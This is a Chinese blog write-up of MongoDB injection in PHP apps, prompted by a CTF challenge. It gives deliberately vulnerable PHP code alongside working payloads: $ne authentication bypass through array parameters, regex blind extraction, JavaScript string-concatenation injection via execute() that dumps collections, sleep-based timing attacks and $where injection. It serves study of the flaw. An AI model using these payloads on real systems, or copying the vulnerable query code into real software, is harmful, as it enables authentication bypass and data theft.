mongodb下的sql注入

前几天看到安恒杯里有一道Mongodb的注入题,搜了一下相关的东西,发现也是比较老的东西了,这里写篇博客记录一下吧..

概括

php中操作mongo类可以用下面两种方法 (1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$mongo = new mongoclient();

$db = $mongo->myinfo; //选择数据库

$coll = $db->test; //选择集合

$coll->save(); //增

$coll->find(); //查

$coll->remove(); //减

$coll->update(); //改

传入的是一个数组,后面会讲到,这里不细说 (2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$mongo = new mongoclient();

$db = $mongo->myinfo; //选择数据库

$query = "db.table.save({'newsid':1})"; //增

$query = "db.table.find({'newsid':1})"; //查

$query = "db.table.remove({'newsid':1})"; //减

$query = "db.table.update({'newsid':1},{'newsid',2})"; 改

$result = $db->execute($query);

传进的是字符串变量,特别注意一下,字符串的书写语法为js的语法 然后mongodb的操作符,这个挺多的,不一一记了,丢几个重要的,其他在这篇文章里找吧 https://blog.csdn.net/qq_16313365/article/details/58599253

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$eq
语法:{ <field>: { $eq: <value> } }
释义:匹配等于(=)指定值的文档
举例:
查询age=20的文档:
db.person.find( { age: { $eq: 20 } } )
相当于:
db.person.find( { age: 20 } )

$ne
语法:{field: {$ne: value} }
释义:匹配不等于(≠)指定值的文档

$regex
语法:
{ <field>: { $regex: /pattern/, $options: '<options>' } }
{ <field>: { $regex: 'pattern', $options: '<options>' } }
{ <field>: { $regex: /pattern/<options> } }
释义:正则表达式查询
举例:
db.products.find( { sku: { $regex: /^ABC/i } } )

$where
释义:把一个含有JavaScript表达式的字符串或者是整个JavaScript函数转换到查询系统中,对内嵌文档不起作用
举例:
db.myCollection.find( { $where: "this.credits == this.debits" } );
db.myCollection.find( { $where: function() { return obj.credits == obj.debits; } } );

攻击

1.最简单的永真判断

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>

传入的username和password直接拿去查询,假如我们传入数组,mongodb对于我们的数组会产生解析,举个例子 我们传入

1
2
3
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');

然后mongodb解析之后,最终执行了

1
db.test.find({username:{'xx':'test'},password:'test'});

有了这个特性,我们只用注入一个ne即可完成攻击,payload如下

1
http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test

那么我们能不能进一步利用,查出其他的数据呢?是可以的,利用regex来查询即可,这就相当于mysql里面的bool注

2.盲注

这里文中给了一篇14年HCTF的wp,看来这个东西很久之前就已经有人研究过,这里也是学习一下吧... 代码猜测如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
$data = array(
'lock'=>$lock);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'the lock is right,but wrong key';
}else{
echo 'lock is wrong';
}
}else{
if ($lock == 'aabbccdd'&&$key=='aabbccdd') {
echo 'Your flag is xxxxxxx';
}else{
echo 'lock is wrong';
}
}
?>

然后这里只给出了对或错的回显,bool一发 我们这里就简要看下他们的payload

1
2
3
4
5
6
7
8
key=1&lock[$regex]=^9
key=1&lock[$regex]=^9c
key=1&lock[$regex]=^9cc
key=1&lock[$regex]=^9cc3
key=1&lock[$regex]=^9cc32
key=1&lock[$regex]=^9cc32b
key=1&lock[$regex]=^9cc32bd
key=1&lock[$regex]=^9cc32bd6

正则匹配看lock的值是否为后面的值即可,逐位爆即可

字符串拼接

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>

看到关键部分

1
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";

还记得前面提到的吗?mangodb的字符串拼接语法为js,那么我们只要用js语法进行构造即可,原理和普通的mysql的注入一样,只不过语言发生了小改变而已 比如我们可以写payload

1
http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test

返回的是username为1,password为2 然后提一点,就是execute方法可以多语句执行,不演示,这里就列出几个payload吧

1
2
3
4
5
6
7
8
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test
//爆mangodb版本

http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test
//爆test集合第一条数据

http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[1]),password:2};//&password=test
//爆test集合第二条数据

sleep

高版本里增加了sleep函数,那么就可以在无回显的时候进行时间盲注了,不过似乎高版本里不能用注释语句,那么闭合就好了 payload

1
2
http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test
//延时10s

where

mangodb的where就和sql语句的where差不多,where的用法前面已经提到,是通过引入一个js函数来作为限制,当函数中存在未过滤的用户输入的时候,注入就产生了 实例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->news; //选择集合
$news = $_GET['news'];
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}
?>

相当于sql语句

1
select * from news where news='$news'

检测注入的payload

1
2
3
4
5
6
7
8
http://127.0.0.1/3.php?news=test'
//错误

http://127.0.0.1/3.php?news=test'&&'1'=='1
//正确

http://127.0.0.1/3.php?news=test'&&'1'=='2
//错误

提取信息的payload

1
2
3
4
5
6
7
8
http://127.0.0.1/3.php?news=test'&&db.getCollectionNames().length>0&&'1'=='1
//查看集合数量

http://127.0.0.1/3.php?news=test'&&db.getCollectionNames()[0].length==6&&'1'=='1
//查看集合名称长度

http://127.0.0.1/3.php?news=test'&&db.getCollectionNames()[0][0]=='m'&&'1'=='1
//爆数据

参考文章 https://www.secpulse.com/archives/3278.html